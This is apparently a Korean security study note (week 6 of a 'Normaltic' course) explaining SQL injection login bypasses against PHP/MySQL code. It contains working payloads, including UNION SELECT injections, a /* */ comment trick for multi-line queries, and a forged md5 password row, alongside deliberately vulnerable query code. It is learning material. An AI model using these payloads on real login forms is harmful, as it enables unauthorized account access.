$sql="SELECT * FROM users WHERE id = '$uname' AND password = '$password'";
-> uinon select 대입
$sql="SELECT * FROM users WHERE id = '''union select 1,2,3,4,5 #' AND password = '$password'";
가능
$sql="SELECT * FROM users WHERE id = '$uname' \n AND password = '$password'";$sql="SELECT * FROM users WHERE id = '''union select 1,2,3,4,5 #' \n AND password = '$password'";불가능
\n때문에
1줄 주석
$sql="SELECT * FROM users WHERE id = '$uname
AND password = '$password'";
되버려서 #,--등은 한줄 주석은 안먹힘
2줄 주석
/**/ 같은 2줄 주석은 먹힘
-> uinon select 대입 -> ID 입력 마지막에 /* PW '*/# 입력
$sql="SELECT * FROM users WHERE id = '''union select 1,2,3,4,5 /*' \n AND password = ''*/#";
가능
$sql="SELECT * FROM users WHERE id = '$uname'";
$result=mysqli_query($conn, $sql);
$row= mysqli_num_rows($result);
if($row === 1){
$row2=mysqli_fetch_assoc($result);
if($password === $row2['password']){
-중략-
-> uinon select 대입
$sql="SELECT * FROM users WHERE id = ''union select 1,2,3,4,5 #'; (idx id pw name email 순)
가능
$result=mysqli_query($conn, $sql);
$row= mysqli_num_rows($result);
if($row === 1){
-> sql문 where id ='' 빈칸 반환 -> 무효
-> union select로 추가된 행 포함
-> 조작된 result 값 row 값 형성
if($row === 1){ <- 통과 why?
-> mysqli_num_rows($result)는 전체 결과 집합에서 행의 수를 반환
-> 주어진 쿼리에서 UNION SELECT를 통해 추가된 행이 포함되기 때문에, 12345 이 행이 결과에 포함됨
-> 결과적으로 $row는 1이 됩니다. 추가된 행 때문
where id='' <- mysqli_num_rows에 빈칸을 넣으면
-> id가 빈 문자열인 행이 없기 때문에, 쿼리는 빈 결과 집합을 반환
-> 결과 집합이 비어 있으므로, mysqli_num_rows(result)``` 함수는 0을 반환하게 됩니다.
$row2=mysqli_fetch_assoc($result);
if($password === $row2['password']){
-> 조작된 result값
->이미 union select로 행이 추가됨
-> password창에 추가한 행에있는 비밀번호 입력
ex)pw컬럼에 3 적고 pw입력할때 3적임
-> 통과
ex)
union으로 생성된 db에 입력값
원래 DB값 밑에 정보 추가로 붙임 임시
| idx | id | pw | name | <- 컬럼 | |
|---|---|---|---|---|---|
| 원 | 래 | D | B | 값 | <- 원래 DB에 있는 값 |
| --- | --- | --- | --- | --- | ----------------------- |
| 1 | 2 | 3 | 4 | 5 | <- union으로 붙인값 |
비밀번호가 알고리즘 -> md5이면 'union select 'normaltic3',md5(1)# ->이렇게 ID PW 칼럼 순서라 가정
--Normaltic Study 6주차--